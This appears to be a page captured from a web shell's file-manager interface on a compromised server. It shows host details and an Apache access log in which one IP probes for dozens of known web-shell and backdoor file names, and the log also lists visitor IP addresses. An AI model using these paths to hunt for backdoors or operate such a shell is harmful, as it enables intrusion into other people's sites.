⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.161
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
thread-self
/
root
/
proc
/
7602
/
cwd
/
access-logs
/
View File Name :
techlup.co.ke
170.106.197.109 - - [17/Jul/2025:15:28:54 +0300] "GET / HTTP/1.1" 200 51431 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 15.204.235.159 - - [17/Jul/2025:16:17:21 +0300] "GET /.well-known/acme-challenge/ZFYGBTESY8MXIH-1JPNBE6NJ7EMLGN19 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 15.204.235.159 - - [17/Jul/2025:16:17:21 +0300] "GET /.well-known/acme-challenge/3LQN5JZVL5KCG5WWREV1V4WFNRTCVNLC HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 15.204.235.159 - - [17/Jul/2025:16:17:21 +0300] "GET /.well-known/acme-challenge/L2ARKWTAPXYBTGB2PTT5LL_DJS21UZ8E HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 185.153.199.135 - - [17/Jul/2025:16:23:50 +0300] "GET /js/elfinder/php/connector.minimal.php HTTP/1.1" 404 1552 "-" "ALittle Client" 138.199.42.181 - - [17/Jul/2025:16:38:56 +0300] "GET /wp-admin/network/natural.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:38:56 +0300] "GET /natural.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:56 +0300] "GET /simple.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /inputs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /file2.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:57 +0300] "GET /file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /item.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /zwso.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:58 +0300] "GET /wp-includes/js/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /templates/natural.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:38:59 +0300] "GET /cong.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /repeater.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:00 +0300] "GET /wp-2019.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /atomlib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /css.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /log.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /index.php HTTP/1.1" 200 51631 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /mail.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /lufix.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /doc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:01 +0300] "GET /bak.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /upfile.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /wp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /bypass.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /wp-activate.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /updates.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /radio.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:02 +0300] "GET /plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /xmrlpc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /ae.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /moon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /blog.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /ini.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /as.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:03 +0300] "GET /shell.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /ws.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /makeasmtp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /wp-sigunq.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /wso112233.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /wp-atom.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /alfanew.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /fw.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:04 +0300] "GET /install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /wp-admin/shapes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /XxX.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /Marvins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /wp-includes/css/modules.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /olux.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /wso.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:05 +0300] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /uploader.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /1337.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /user.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /wp-info.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /wxo.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /amigo.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /yoi.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:06 +0300] "GET /wp-admin/codeboy1877_up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /wp-includes/codeboy1877_up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /wp-contentt.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /we1y8.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /wp-content/iu.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /ccx/th3_err0r.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /ccx/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /wp-content/codeboy1877_up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /hehe.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:07 +0300] "GET /post-data.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /w0.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /old-index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /wsanon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /wp-content/small.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /wp-content/mode.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /indo.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /beence.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:08 +0300] "GET /indosec.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /archives.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /po8sa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /thesmartestx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /zcanp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /burjuva.aspx HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /pvt.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /shell20211028.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:09 +0300] "GET /cgi-bin/wp-2019.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /crypted.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /h0110w4y.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /vesiw.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /w.php 